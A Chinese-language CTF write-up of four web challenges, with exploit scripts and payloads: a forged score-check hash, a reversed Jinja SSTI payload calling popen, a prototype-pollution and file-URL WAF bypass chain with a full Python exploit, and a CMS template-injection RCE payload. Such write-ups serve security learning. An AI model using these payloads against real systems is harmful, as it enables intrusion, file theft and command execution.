dino3d
找给 check.php 发包的那个部分。
可以在开发者工具里全局搜索一下,发现是 sn 这个函数发的包,代码有点乱可以美化一下。
在 sn 函数中看到了三个参数的设置。
sn(e, t) {
e && t && fetch("/check.php", {
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
}).then(e => e.text()).then(e => alert(e))
}
先看一下是在哪边调用的 sn ,然后一个一个的跟踪就行了。
搜索 checkCode ,checkCode 由一串字符串和 salt 构成,而 tm 是时间戳,score 是分数,最后就可以构造 exp了。
var checkCode = "DASxCBCTF_wElc03e" + salt;
var salt = "_wElc03e";
exp:
import requests
import hashlib
import time
url = 'http://node4.buuoj.cn:29103/check.php'
score = '100000000'
checkCode = hashlib.md5((score+'DASxCBCTF_wElc03e').encode()).hexdigest()
tm = int(time.time())
data = {
'score': score,
'checkCode': checkCode,
'tm': tm
}
req = requests.post(url=url,data=data)
print(req.text)
Text Reverser
过滤了很多,但是倒置一下不仅可以绕过还可以执行,当然 {{
是不行的,可以用 print 代替。
payload:
a = "{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read()%}"[::-1]
print(a)
}%)(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
像找可用的类在哪一个位置,可以用文本编辑器来直接找,当然位置要减一,因为数组从0开始。
cbshop
if(username === adminUser.username && password === adminUser.password.substring(1,6)
密码根据上面的 password === adminUser.password.substring(1,6)
运行一下即可
在 burpsuit 里抓包登录,
但是想拿 flag 还需要 token,但是 user 里没有 token 属性。
var user = {
username: req.session.username,
money: req.session.money
};
审计 buyApi 有原型链污染,product
是我们 json
数据转化来的,且 Object.assign
会把我们 json 格式后的请求,复制到 user
里,而这里如果我们的 user.username
是 __proto__
,这样的话就会将 product 对象合并到 order
的 __proto__
中,而 user
和 order
的原型都是 Object
,是同一个原型,当 product
中构造 token:true
时,user.token
访问为 true
即只需要登录 admin
后修改用户名为 __ptoto__
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}
Object.assign(order[user.username], product);
但是读 /flag 会有 waf。
程序会将 json 转化为对象,那么如果将 json 中 name 的修改为一个对象 {} 发送可以看到这样的报错,也就是说不仅可以传字符串,也可以传一个 URL 实例。
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
/buy 下 发送 json 包
{
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":true
}
exp:
import requests
session = requests.Session()
url = "http://24cc995a-fe48-4570-8e0e-75ca1e9c58f2.node4.buuoj.cn:81/" # 题目url
def login():
data = {
"username": "admin",
"password": "\uDE00admi"
}
session.post(url + "login", json = data)
def changeUsername():
data = { "username": "__proto__" }
session.post(url + "changeUsername", json = data)
def buyFlag():
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
res = session.post(url + "buy", json = data)
return res.text
if __name__ == '__main__':
login()
changeUsername()
flag = buyFlag()
print(flag)
zzz_again
不得不感叹一句,还是代码读的太少。
这边就跟着wp从后往前看吧,在 parserIfLabel 中我们绕过 danger_key 就可以执行 eval 了。
而 danger_key,可以用 strtolower(“SYSTEM”) 绕过。
而 parserIfLabel 又是由 parserCommom 解析全局公共标签 来的
而 parserCommom 又在 zzz_client.php 被调用,且有多处调用,那么应该选哪一个呢?
那么就要分析各个解析列表分页标签的函数了,这边是用 ParserTemplate::parserListPage 来解析。
因为这个 list 解析列表分页标签,
从 $_SERVER[ ‘REQUEST_URI’ ]中获取url并稍作修改,此处没有任何过滤或者编码
inc/zzz_template.php:2436 会做一些简单的拼接
inc/zzz_template.php:2437 替换掉正在执行的模板文件
一句话概括,没有任何过滤和编码,这样我们传进去的 if 标签便不会被过滤。
所以这边的 location 要为 list,到此基本结束。
payload:
/?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111
这里的 if 标签里加个 = 是因为,foreach 里的 if 判断,当然其他像 <>、or…都可以
reference
http://www.ctfiot.com/57949.html